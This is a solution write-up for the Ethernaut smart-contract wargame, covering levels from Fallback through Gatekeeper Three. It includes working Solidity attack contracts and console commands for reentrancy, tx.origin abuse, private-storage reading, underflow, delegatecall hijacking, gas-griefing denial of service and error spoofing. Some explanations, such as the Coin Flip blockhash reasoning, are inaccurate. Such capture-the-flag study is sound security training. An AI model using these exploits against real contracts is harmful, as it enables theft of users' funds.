Solution to the Ethernaut challenges!
- Hello Ethernaut
- Fallback
- Fallout
- Coin Flip
- Telephone
- Token
- Delegation
- Force
- Vault
- King
- Re-entrancy
- Elevator
- Privacy
- Gatekeeper One
- Gatekeeper Two
- Naught Coin
- Preservation
- Recovery
- Magic Number
- Alien Codex
- Denial
- Shop
- DEX
- DEX Two
- Puzzle Wallet
- Motorbike
- DoubleEntryPoint
- Good Samaritan
- Gatekeeper Three
- Switch
- Higher Order
- Stake
For Reference -> Challenge | Solution
This one's a warm-up. All you have to do is call info()
, if still confused then check the solution.
For Reference -> Challenge | Solution
Here I used the browser's console to solve this challenge. We are going to take the advantage of receive
function after which some ether could be sent to the contract and we will become the owner.
- First, let's contribute a small amount less than 0.001 ether after converting ether to wei using
toWei
function within the console itself.
toWei(".0001") // 100000000000000
await contract.contribute({value: 100000000000000})
- Now, send some ether into the contract by taking advantage of the
receive
function.
await contract.sendTransaction({value: 1})
- Finally, check for the owner whether it's you or not and upon confirmation withdraw the funds
await contract.owner()
await contract.withdraw()
- At last submit the instance
For Reference -> Challenge | Solution
There's a blunder in the constructor name itself as it doesn't matches with the contract name.
Just call the Fal1out
function and you will be the owner.
await contract.Fal1out()
For Reference -> Challenge | Solution
This challenge needs us to deploy a attack contract which will always win the coin flip. The contract is already provided in the solution file. Although, it's well explained under the solution file itself but still let me walk you through the main attack
function.
The reason why we are able to win the coin flip is because the blockhash
function is used to calculate the blockValue
and the blockhash
function is only able to access the last 256 blocks. So, if we call the attack
function multiple times in the same block, the blockhash
function will return the same value and hence the coinFlip
will be the same.
- The
attack
function looks like this:
function attack() external {
uint blockValue = uint(blockhash(block.number-1));
uint coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflip.flip(side);
}
-
At first, we calculate the
blockValue
by using theblockhash
function. -
Then, we calculate the
coinFlip
by dividing theblockValue
with theFACTOR
which is 57896044618658097711785492504343953926634992332820282019728792003956564819968 -
Then we calculate the
side
by checking if thecoinFlip
is equal to 1 or not. -
Finally, we call the
flip
function of thecoinflip
contract with theside
as the argument. -
Remember to call the
attack
function 10 times in order to win the challenge.
For Reference -> Challenge | Solution
All we need is to call the attack
function within the Solution contract after deploying it.
function attack() public {
telephone.changeOwner(address(this));
}
The reason this works is because of the vulnerable condition - (tx.origin != msg.sender)
in the changeOwner
function of the Telephone
contract. The tx.origin
is the original sender of the transaction and msg.sender
is the current sender of the transaction. So, when we call the attack
function, the msg.sender
is the address of the Solution
contract and the tx.origin
is the address of the EOA. Hence, the condition (tx.origin != msg.sender)
is true and the changeOwner
function is executed.
For Reference -> Challenge | Solution
To crack this challenge, one need to have a knowledge of underflows and overflows...
Now, here we have 20 tokens and if we send someone 21 tokens which seems kind of impossible but wait, we are using uint
here that means it can go negative and hence the balance will be 2^256 - 21 which is a huge number and hence the balance will be huge.
If we look at transfer
function below:
function transfer(address _to, uint _value) public returns(bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
Here, if we call the transfer
function with _to
as someone's address and _value
as 21, then 20 - 21 -> -1 <=> 2^256
and hence the balance will be huge.
- Let's first check our current balance which gonna be 20 tokens
await contract.balanceOf(player)
- Now transfer 21 tokens to someone's address
await contract.transfer("anyone-address", 21)
For Reference -> Challenge | Solution
This is an interesting challenge and for this you need to have certain knowledge of how delegate calls works and can be manipulated in phase of vulnerability. An interesting activity is provided in Bonus section which will help you understand a little concept about delegate calls. Research on your own basis will be helpful.
Now, let's come to the challenge:
- First, we need to check which contract we are interacting with -
Delegate
orDelegation
.
contract.abi
- Now we will make a variable that contains our call to
pwn
and then that call will send through an transaction to theDelegation
contract. AsDelegation
contract contains afallback
function that usually take any transaction and then delegate it to theDelegate
contract.
var pwned = web3.utils.keccak256("pwn()")
await contract.sendTransaction(pwned)
- At last, check the owner and submit!
await contract.owner()
For Reference -> Challenge | Solution
At first, this challenge seems confusing but as you dig a little bit deeper you will find selfdestruct
function which is the key to solve this challenge. What selfdestruct
do is, it will destroy the contract (where it is used) and send all the ether to the address provided as an argument.
- First, deploy the contract provided in Solution file. The contract will take the address of the victim contract as an argument.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Force{}
contract Hack{
Force public force;
constructor(address _victim) {
force = Force(payable(_victim));
}
// This is the attack function, and make sure it be payable
function attack() external payable{
selfdestruct(payable(address(force)));
}
}
-
Now, call the
attack
function which will destroy the contract and send all the ether to the victim contract. -
At last, check the balance of the victim contract and submit!
await contract.balance()
For Reference -> Challenge | Solution
This challenge has to do with private Storages, thus it be better to get a understanding of it and you can also refer it through one of the bonuses section.
Let's come to this challenge, first thing is - private
doesn't mean your data is secure, it just means that it's not accessible through the contract's ABI. But, it can still be accessed by other contracts. Thus, we will be using getStorageAt
function to get the value of the password
variable.
- First initialize the address of our instance in a separate variable
var addr = 'your contract address'
- Now we will get storage of slot1
await web3.eth.getStorageAt(addr, 1)
- Copy that hexadecimal value you got from 2nd step, and pass it here!
await contract.unlock("your_hexadecimal_value")
For reference -> Challenge | Solution
This is an interesting challenge and also based on a real dapp which kind of did the same thing. The challenge is all about disrupting the system and become the king which can't be de-throned.
All you need to know is how the fallback
function works and some details about transfer
function in solidity. Here, the issue is in receive
function which is using transfer
function to send the ether to the previous king. The transfer
function has a gas limit of 2300 and if the gas limit is exceeded then the transaction will be reverted. And that's the key to solve this challenge.
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
-
Deploy the contract provided in Solution file with the address of the king contract as an argument and also send the ether more than the current highest value.
-
You will made king of the contract and now whenever someone tries to become the king, the transaction will be reverted as the gas limit will exceed and no one can replace you.
For reference -> Challenge | Solution
This challenge is all about re-entrancy attack and how it can be prevented. The withdraw
function is vulnerable to re-entrancy attack as it first sends the ether to the caller and then updates the balance. So, if the caller is a malicious contract, it can call the withdraw
function again and again before the balance is updated.
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
To hack this, we will deploy a malicious contract that will call the withdraw
function again and again before the balance is updated.
-
Deploy the contract provided in Solution file.
-
Call the
hack
function and also send 0.001 ether to it. Thehack
function will send 0.001 ether to the malicious contract and will withdraw it immediately,withdraw()
will trigger the receive function and then the magic starts!
// Send 0.001 ether and withdraw immediately
// This will trigger the receive function when withdraw() is called on Reentrance contract
function hack() public payable {
reentrance.donate{value: msg.value}(address(this));
// This will trigger the receive() the function
reentrance.withdraw(msg.value);
require(address(reentrance).balance == 0, "FAILED!!!");
// Recover sent ether
selfdestruct(payable(msg.sender));
}
receive() external payable {
uint256 balance = reentrance.balanceOf(address(this));
// Try to withdraw the smallest amount possible, so that the transaction does not revert
uint256 withdrawableAmount = balance < 0.001 ether
? balance
: 0.001 ether;
// Stop withdrawing if the contract balance is 0, so that the transaction does not revert
if (withdrawableAmount > 0) {
reentrance.withdraw(withdrawableAmount);
}
}
For reference -> Challenge | Solution
This challenge gives a knowledge about how interfaces could be vulnerable and thus manipulated. The Elevator
contract contains an interface Building
which has a function isLastFloor
, all we have to do is create another contract named as Building
and present it with the isLastFloor
function that returns false
at first and returns true
upon calling it again. This is done because the goTo
function demands such functionality from that floor
parameter which be provided to it, Take a look at Elevator
contract:
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Thus, we be creating a contract named as Building
and providing it with both isLastFloor
and goTo
functions which will help us in reaching the top floor. The contract is provided in the Solution file, and here's a glimpse of that isLastFloor
function I was talking about:
bool public toggle = true;
function isLastFloor(uint) public returns(bool){
toggle = !toggle;
return toggle;
}
Look at the way isLastFloor
is implemented above, as when goTo
function will call it once it will return false
the first time and then will return true.
Hence, deploy the solution contract and call goTo
For reference -> Challenge | Solution
This challenge is all about how private variables can be accessed and thus when a storage variable is marked with keyword private
, it doesn't means that data cannot be accessed. The Privacy
contract looks like this:
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}
If you notice, to unlock the locked
i.e make it true...we need to pass the bytes16
key which is the last elementof the data
array. Now, let's see on which slot our required key
resides:
| Slot 0 | bool locked |
| Slot 1 | uint256 ID |
| Slot 2 | uint8 flattening + unit8 denomination + uint16 awkwardness |
| Slot 3 | bytes32 data[0] |
| Slot 4 | bytes32 data[1] |
| Slot 5 | bytes32 data[2] |
Hence it lies on 5th slot, so all we need to do is get the storage of 5th slot and pass it to the unlock
function. But there's one more thing i.e the value we get in slot 5th is a 32-bytes value whereas unlock requires a 16-bytes value, that's why we be using another contract to solve this problem.
Note: If you having any trouble in understanding the private storages and how they work, refer to the Bonus section.
Now, let's solve this challenge:
-
Deploy the contract provided in Solution file.
-
Get the key from the 5th slot, by using the
web3.eth.getStorageAt
function in your browser's console.
await web3.eth.getStorageAt(contract.address, 5, console.log) // console.log will print the key such that we can copy it down
- Now, pass the key as an argument to
attack
function. This will first turn our 32-bytes value to 16-bytes and then call theunlock
function ofPrivacy
contract.
function attack(bytes32 _slotValue) external {
bytes16 key = bytes16(_slotValue);
target.unlock(key); // where target is the instance of Privacy contract
}
- At last check whether the
locked
is true or not and submit!
await contract.locked()
For reference -> Challenge | Solution
This challenge was quite difficult to understand in first go, but that's ok it's part of the process. you need to get familiar with certain topics like:
- Bit masking
- tx.origin vs msg.sender
- opcodes
- what is gasleft()
Coming to the question, one need to break 3 gates in order to pass this challenge.
GateOne
: You must have seen it before and we know that in order to break it, all we have to do is call the enter
function from some other contract.
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
GateTwo
: This gonna use up some brute force technique, mainly using gasleft()
in a way such that we meet the required condition.
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
GateThree
: Need an understanding of conversion between uint and bytes, bit masking and some other math stuff!
modifier gateThree() {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
To solve the third gate, you can see our key is hidden in last condition which is uint16(uint160(tx.origin))
. Here, tx.origin
will be our wallet address, let's suppose mine is 0x9aFE8fCbc8465b73319520AFEDba0C0179f26D97
which is 20 bytes (each byte covering up 2 characters)
Thus, according to the last condition:
uint32((uint64(_gateKey))) == uint16((uint160(tx.origin))) == 0x6D97 == 0x00006D97
uint16 uint32
Note: when a 20 bytes address is converted into a lower bytes, the left side bytes be the one to be removed.
Now let's go through the first part of gate three, the condition says -> uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
which means our key should be same in both uint16 and uint32. Thus, 0x6D97 == 0x00006D97
which is true.
Here comes the 2nd part of gate three, the condition says -> uint32(uint64(_gateKey)) != uint64(_gateKey)
which means our uint32 key shouldn't be equal to uint64 key. The only way it could be possible if we mask our key of 8 bytes (i.e uint64) with 0xFFFFFFFF0000FFFF
which will satisfy that condition.
After masking, our key now is 0xEDba0C0100006D97
which is 8 bytes. Thus, we know with what to mask our key now -> 0xFFFFFFFF0000FFFF
At last, deploy the contract provided in Solution file. Here's the main hack
function and a detailed reason and solution in tackling the gateTwo
:
function hack(uint start, uint end) public{
// Now what's we doing here, just using a brute force technique
// Here 8191 will be the multiplied by any number greater than 3 such that enough gas is provided for this function to call, and then 150 is added, just to make it more precise for some gasleft context, and then hit and trial thing is done with for loop iterations!!
// Make sure to try different value of 'start' and 'end' ranging from 0 to 500
for(uint i = start; i < end; i++){
(bool result, bytes memory data) = address(keeperOne).call{gas: i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", gateKey));
if (result){
break;
}
}
}
Call the hack
function and submit the instance...Cheers!
For reference -> Challenge | Solution
Just like the previous challenge, we have to pass through three gates in order to solve this challenge. First gate is similar to the previous challenge i.e call the enter
function through different contract. Now let's look at second gate modifier:
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
Here, the extcodesize
function is used to get the size of the code at the address provided as an argument. If the size is 0, then the address is an EOA otherwise it's a contract. But we can't really use an EOA as then the other gates won't be cleared away. Thus, there's a trick and a thing to remember i.e when a contract is deployed and it's constructor is called then the extcodesize
will return 0. Thus, this gate is solved
Now, let's look at the third gate modifier:
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
Here, our gateKey
should be '^' or 'XOR' of uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
such that it could be equal to type(uint64).max
i.e 0xFFFFFFFFFFFFFFFF
. Do check about XOR if you are not familiar with it.
So in order to solve this gate, we be using ~
which is a bitwise NOT operator and helps in finding the complement of any particular value. The reason we need a complement here is, In the equation A ^ B = X, our X is clear i.e '0xFFF...', A is clear i.e keccak hash of msg.sender which be the address of the contract we be using to call the enter
function of Gatekeeper Two
contract. The only value which is unknown is our gateKey and obviously it be the complement of A, thus our key is ~bytes8(keccak256(abi.encodepacked(address(this))))
Before deploying our solution let's look at it:
contract Attack{
// Here, I am solving this using my first method
// But you can consider even use this code -> bytes8 key = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;
bytes8 key = ~bytes8(keccak256(abi.encodePacked(address(this))));
constructor(address victim){
// Here we called the function at the time of deployment, thus bypassing the second gate!
GateKeeperTwo(victim).enter(key);
}
}
It will automatically call the enter
function as you deploy it...Cheers!
For reference -> Challenge | Solution
In this challenge, we got a contract with some tokens minted in our name in a large quantity called Naught Coin. Our task is to send these tokens to some random address but the problem is this contract have applied a so called modifier lockTokens
which prevents us from taking out our tokens for around 10 years.
uint public timelock = block.timestamp + 10 * 365 days;
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timelock);
_;
} else {
_;
}
}
In order to solve this challenge, we be using two functions related to ERC20 contract i.e approve
and transferFrom
. The approve
function is used to approve the any contract to spend some tokens on our behalf and the transferFrom
function is used to transfer the tokens from our account to some other account. That's it!
Just follow the steps provided in the Solution file and you are good to go!
For reference -> Challenge | Solution
This challenge is related to delegate calls
and their common problems which developers make, it be good to have your hands on the bonus section
Let's come to the challenge now, the problem is how state variables are strucutred between both Preservation
and LibraryContract
i.e Preservation is acting like a proxy and using the logic from LibraryContract by using the function setTime
and targeting the storedTime
variable. But if you take a look, storedTime
is present on slot 3 in Preservation
contract whereas it's present on slot 0 in LibraryContract
which creates the vulnerability.
Thus, we be using the hack contract provided in the Solution file and calling the setFirstTime
function with our contract's address as the argument i.e uint256(uint160(address(this)))
in the console which will set address public timeZone1Library
in preservation
contract as our hack contract's address and thus calling setFirstTime
again with any random integer will turn us the owner of preservation contract. You will get all this with ease if you go through that bonus section, saying it again!
For reference -> Challenge | Solution
In this challenge, we need to recover funds from a contract whose address we don't know. Now that's simple if you know about Etherscan and how it works. Etherscan is a block explorer for the Ethereum blockchain and it provides a lot of information about the transactions and contracts on the Ethereum blockchain. We can use Etherscan to get the address of the contract. Other way is to use the instance-address
and nonce
to get it, explained here.
After getting the contract address, all you need is to deploy the contract provided here and call the attack
function which will call the selfdestruct
function of the contract and send all the ether to the our address.
For reference -> Challenge | Solution
This challenge is kind of hard and need one to have a bit understanding of how EVM works and about opcodes. Thus, the following video will definitely help in this as I myself got a lot of help from there. It be kind of a long one, about 43 minutes but be worth it:
For reference -> Challenge | Solution
This challenge is all about accessing that storage which wasn't accessible to us and then become the owner of the contract. The vulnerability clearly lies in retract
function:
function retract() contacted public {
codex.length--;
}
The thing is, codex
is a dynamic array and it's empty at the start. So, if we call the retract
function, it will reduce the length of the array by 1 and hence the length will be 2^256 - 1
which is a huge number. Thus, we got the access to the whole storage.
Before calling retract
, the owner variable was present right in the 0th slot of the storage with boolean contact
which is false right now. And, codex
dynamic array is present at 2nd slot i.e it's length is at 1st slot but the actual data starts from keccak256(bytes32(slot_at_which_array_length_is_stored))
. i.e 1st slot. Further values are then stored at keccak256(bytes32slot_at_which_array_length_is_stored)) + 1
, keccak256(bytes32(slot_at_which_array_length_is_stored)) + 2
and so on.
So, now the question is when we got the access of whole array by calling the retract
function...how we gonna change the owner? As according to us, the owner is present at 0th slot but we can't change it directly. Although, we got another function present in Alien Codex
contract which is revise
. This function lets us change any value in the array if we know it's index. Thus, we need to find the index of the owner in the array and then change it to our address. But there's a catch, index ain't 0 as we don't know from where the array's data starts, Let's explain this with a little exercise:
Let's assume that the maximun slots of storage are 10
and keccak256(bytes32(1))
is 7
.
slot | variables | codex |
---|---|---|
0 | owner | codex[3] |
1 | codex.length (==9) | codex[4] |
2 | codex[5] | |
3 | codex[6] | |
4 | codex[7] | |
5 | codex[8] | |
6 | unreachable | |
7 | keccak256(bytes32(1)) |
codex[0] |
8 | codex[1] | |
9 | codex[2] |
Here, codex.length is 9 as one slot consists of the length value itself which we don't know. And previously, as length of the codex was stored in 1st slot, according to above assumption keccak256(bytes32(1))
is 7
. Thus, the data at 7th slot became the 0 index of codex array and next slot becomes the 1 index and so on.
As we can see in above assumption, the owner variable is present at 3rd index...thus equation comes out to be, x = 10 - 7
i.e Owner's index = Total number of slots - slot from where the codex data starts
. That's what gonna solve this challenge.
Now, let's solve this:
- In the browser's console, first we will try making
contact
true as it's required in calling other functions due to thecontacted
modifier. Thus, we will callmakeContract
function first.
await contract.makeContract()
- Then we will be calling
retract
function, and you know why!
await contract.retract()
- Now, we will get the slot from where the actual codex data starts. We know the length of the codex array is stored in 1st slot then:
// Here number 1 is converted to bytes32
const mapLengthAddress = "0x0000000000000000000000000000000000000000000000000000000000000001";
// Getting the slot from where the codex data starts i.e keccak256(bytes32(1))
const mapStartSlot = BigNumber.from(ethers.utils.keccak256(mapLengthAddress));
- Now, we will be getting the index of owner slot and also we know the equation.
// Getting the total number of slots
const NUMBER_OF_SLOTS = BigNumber.from("2").pow("256");
// Getting the index of owner by the equation explained above
const ownerPositionInMap = NUMBER_OF_SLOTS.sub(mapStartSlot);
- Now, we got the index of owner...finally it's time to change it to our address using
revise
function.
// Padding our address with 0s to make it 32 bytes
const parsedAddress = ethers.utils.hexZeroPad(player.address, 32);
// Using revise function by providing index and our address
await contract.revise(ownerPositionInMap, parsedAddress);
- At last, check the owner and submit!
await contract.owner()
Note: code.length--
only works with solidity versions prior to 0.6.0, for versions after that you need to use code.pop()
. Also, from 0.8.0 solidity implemented underflow/overflow checks right in the compiler.
For reference -> Challenge | Solution
This challenge needs us to not let owner withdraw the funds by being it's partner. Let's take a look on the vulnerability function:
function withdraw() public {
uint amountToSend = address(this).balance / 100;
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
Here, one can notice that the line partner.call{value: amountToSend}("");
is do transfering some value but not checking whether the call was successful or not. Thus, we can take an advantage of this by emptying up the gas within that function itself which won't let the owner withdraw any funds.
Now, we will be creating a Attack contract which will be containing a fallback
function that will do the task of receiving the ether when sent to it. Somehow, we will create some logic within the fallback
function which will use up all the gas. Here's that function and the logic which is easily understandable if you know about infinite loops:
contract Attack {
fallback() external payable {
// Infinite loop to use up all the gas
while (true) {
}
}
}
Now, all we have to do is deploy this contract or you can take the one present in the Solution file and copy its address.
Then call these commands in your browser's console:
const copied_address = "your_attack_contract_address"
await contract.setWithdrawPartner(copied_address)
// Now, call the withdraw function
await contract.withdraw()
For reference -> Challenge | Solution
This is an easy one, so here we need to disrupt the shop by purhcasing the item at a price less than the actual price. The vulnerability lies in the buy
function as it checks the price 2 times - one within the condition and other inside that condition block after changing isSold
to true:
interface Buyer {
function price() external view returns (uint);
}
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
Thus, all we need to solve this challenge is to create a contract named Buyer with the help of provided interface, and create the logic of price
function such that we get our item at a price less than the actual price. The contract provided in the Solution file. Let's look at the price
function there:
function price() external view returns (uint) {
if (target.isSold() == false) {
return 101;
} else {
return 1;
}
}
First condition will let us inside the if
block of the buy
function and then the 2nd condition will change the price to 1 which is less than the actual price. Now, deploy the contract and call the attack
function...submit!
For reference -> Challenge | Solution
This challenge is quite interesting as we are provided a kind of DEX and two token types, tokenA and tokenB. Our task is to make the balance of some token in DEX to be 0 which usually doesn't happen as DEX are designed this way. But here, we gonna take the advantage of price function i.e getSwapPrice
:
function getSwapPrice(
address from,
address to,
uint256 amount
) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
As there are no floating numbers in Solidity, results are rounded, and it happens that sometimes they are rounded down. So, swapping them back and forth with work for us. Will advise to check this article which have explained this challenge in depth as I got a lot of help from there!
For reference -> Challenge | Solution
This challenge is similar to the previous one, with the difference that this one omits the following validation when swapping tokens:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
This means we can swap any token. So, we can create a random token. Send it to the contract, and swap it for the ones we're interested in. Also check out this article if you missed previous challenge or still confused about the solution!
For reference -> Challenge | Solution
This solution is widely explained in the solution itself, with those links. So, I will advise you to go through that and then try to solve this challenge. It's a bit tricky but you will get it!
For reference -> Challenge | Solution
This challenge is a good one and it be easy if you know about the UUPS
, Proxies
and delegate calls
. We are given two contracts, one is Engine (Proxy) and other is Motorbike (logic). The goal is to disrupt the Motorbike by changing it's owner thus the logic can't be upgraded anymore.
Note: Do understand the code, you can even take a look at this video
The vulnerability lies in the initialize
function of the Motorbike contract:
function initialize() external initializer {
horsepower = 1000;
upgrader = msg.sender;
}
Usually, in UUPS or proxies like these upgrader is allowed to call the initliaze function only once. But here, the initialize
function is public and can be called by anyone. Thus, we can change the owner of the Motorbike contract by calling the initialize
function. A detailed step by step solution is provided in the Solution file.
For reference -> Challenge | Solution
This challenge teaches us to how to setup a Forta bot, thus we created one here which will be deployed and if you notice that the constructor needs an address which we will get from running the following command in the browser's console:
const cryptoVaultAddr = await contract.cryptoVault()
Also, copy the address of the bot contract and store in a variable.
const detectionBotAddr = "your_bot_contract_address"
Setting up the function part of the call data - Copy the down code and paste it in the console
const func = {
"inputs": [
{
"name": "detectionBotAddr",
"type": "address"
}
],
"name": "setDetectionBot",
"type": "function"
};
Next, we will define the parameters of the call, which is where we will pass in our detection bot address
const params = [detectionBotAddr]
Now just concatenate our calldata
const data = web3.eth.abi.encodeFunctionCall(func, params)
Finally, we send our transaction to set our bot and finally submit
await web3.eth.sendTransaction({
from: player,
to: cryptoVaultAddr,
data: data
})
Refer these links for a better explaination:
For reference -> Challenge | Solution
Quite a easy and interesting challenge. Here, we are given three contracts i.e GoodSamaritan
, Coin
and Wallet
. The GoodSamaritan contract will deploy new instances of the Coin and the Wallet (the GoodSamaritan will be the owner) contract respectively.
Think GoodSamaritan
a wealthy individual who wants to help the community by donating 10 coins whoever requests via requestDonation()
function.
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
As you can see it uses donate10 function of the wallet contract which checks whether the coins (that are being donated) are enough (>=10) or not. If there is not enough coins, it will check if the reverted message/error is NotEnoughBalance()
by the if
condition keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)
and then transfer the remaining coins to the requester using transferRemainder() function which uses transfer function of the Coin contract under the hood.
Well, the vulnerability lies in that requestDonation()
function itself as if somehow we managed to pop out that error NotEnoughBalance()
then we can get all the coins from the wallet contract. If you notice the last piece of code within the question itself, you will find we are given an interface INotifyable
which contains of an notify
function and is used further in transfer
function in order to notify the requestor about the transfer if it's a contract.
// where dest_ is the address, and amount_ is the amount of coins to transfer
if (dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}
Guess this is the key, let me again wrap up the procedure before we arrive to the exact solution:
- First, the requestor calls the
requestDonation()
function. - Then the function checks whether
GoodSamaritan
consists of enough coins in his wallet or not by executingdonate10
function (wallet contract) as a condition. - We know, it do have enough coins (that's why we are attacking) and thus in
donate10
it executes theelse
condition which leads to executetransfer()
function (coin contract). - Now, heres the catch - In transfer function, if we are able to invoke that error
NotEnoughBalance()
here as it execute thatnotify
function in theif
condition, we will reach to thatelse
condition inrequestDonation()
function due to this error (as the error is being checked in thetry
block) and then it will check the error message through the keccak256 hash which will be true and thus calling thetranferRemainder
function which will transfer all the coins to the requestor (us).
Here's our attacking contract:
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface GoodSamaritan{
function requestDonation() external returns(bool);
}
contract Attack{
GoodSamaritan public target;
error NotEnoughBalance();
constructor(address _victim){
target = GoodSamaritan(_victim);
}
// this function will be called when invoked by coin contract, thus reverting the "NotEnoughBalance" error
function notify(uint256 amount) pure external{
if (amount <= 10){
revert NotEnoughBalance();
}
}
function attack() external {
target.requestDonation();
}
}
All you have to do is, copy the instance address of the GoodSamaritan
contract and then deploy the Attack
contract by passing the copied address as an argument and then call the attack
function. That's it!
For reference -> Challenge | Solution
Here's the third gatekeeper challenge, like the last ones our task to get through all three gates by calling the and this time it's quite easy and straight forward. Also, we got another contract with our main GatekeeperThree
contract which is SimpleTrick
. Will advice you to get read that contract carefully as I be mentioning parts from it like always and thus try not to get confused when I am naming the function to be talked about...Let's begin!
We got our main contract i.e GatekeeperThree
. Let's find the solution of tackling each modifier (or gates) which then be used in enter
function.
GateOne: Simple and straight like always, We have to use a different contract here in order to interact with GatekeeperThree
as that will keep the msg.sender as owner and tx.origin as different than the owner. The first thing we gonna do in order to become the owner of GatekeeperThree
is call it's construct-1rr
(read it again). Yea, you got it probably...there's a type mistake which let's us call that faulty function and become the owner.
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
GateTwo: Here we need the boolean allowEntrance
to be true. If you look at the getAllowance
function, there's the way to make it true but it needs a password. Here SimpleTrick
contract comes in hand. We are given a separate function createTrick
to initialize our own SimpleTrick
contract with our GatekeeperThree
contract's address as the parameter which will point the target
to our GatekeeperThree
contract (look within the constructor of SimpleTrick
contract). Additionally, trickInit
is also called to initialize the trick
variable with the address of the SimpleTrick
contract.
modifier gateTwo() {
require(allowEntrance == true);
_;
}
/// Functions related to GatekeeperThree contract
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
/// Functions related to SimpleTrick contract
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
Now, we got to do something with that SimpleTrick
contract we intialized. It got a private variable password
with block.timestamp value and is on 3rd slot. So far, we are clear that private
doesn't protect the secrets. Thus, using the code -> await web3.eth.getStorageSlot(contract_address, 3, console.log)
within the browser's console will give us the password but in hexadecimals. But, we need it in uint
format. You can get it either by converting that hexadecimals into decimal online or by using parseInt
function in the console itself. Now, using the browser's console call the getAllowance
function with the password (in uint) as the argument and we got our allowEntrance
to be true.
GateThree: The last gate contains a condition which requires the balance of the GatekeeperThree
contract to be greater than 0.001 ether which is easy, and it also needs to make sure that the owner (i.e the contract we are using to call the enter
function) ain't able to get 0.001 ether paid from the GatekeeperThree
contract. If one knows the basic then he/she knows that in order to send ether to a contract it must consists of either a receive
or fallback
function. But our attacking contract won't be having both of them. Thus, the condition payable(owner).send(0.001 ether) == false
will satifsy and we will be able to pass through the last gate.
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
Here's our Attack
contract which be using in order to solve this challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface GateKeeperThree{
function construct0r() external ;
function enter() external ;
}
contract Attack {
GateKeeperThree public target;
constructor(address victim){
target = GateKeeperThree(victim);
}
function beOwner() external{
target.construct0r();
}
function attack() external{
target.enter();
}
}
Now, let me follow through the exact steps you need to take in order to solve this challenge:
-
Deploy the
Attack
contract by passing the instance address of theGatekeeperThree
contract as an argument and call thebeOwner
function in order to become the owner. This will get us cleared through the first gate. -
Now we need to call the
createTrick
function using the browser's console which will initialize theSimpleTrick
contract with the address ofGatekeeperThree
contract as an argument. -
Now, call the
trick
variable usingawait contract.trick()
as trick is a variable which contains the address of SimpleTrick contract. Here we are talking aboutSimpleTrick public trick
inGatekeeperThree
contract, not the other one which is present inSimpleTrick
contract. -
With that we will get an address in the console, thus store the address and then look for the password within the 3rd slot...Here it goes:
const addr = "your_trick_address"
await web3.eth.getStorageAt(addr, 3, console.log)
-
Now, convert the hexadecimals into decimal (uint) and then call the
getAllowance
function with the password as an argument using the browser's console. You can even check whetherallowEntrance
is true or not by callingawait contract.allowEntrance()
. This opens our gate Two. -
For the last gate, all you have to do is send some ether greater than 0.001 to the
GatekeeperThree
contract usingawait contract.sendTransaction({value: 1100000000000000})
and the 2nd condition will be satisfied as we don't have areceive
orfallback
function in our attacking contract. Now, call theattack
function and submit the instance...Cheers!
For reference -> Challenge | Solution
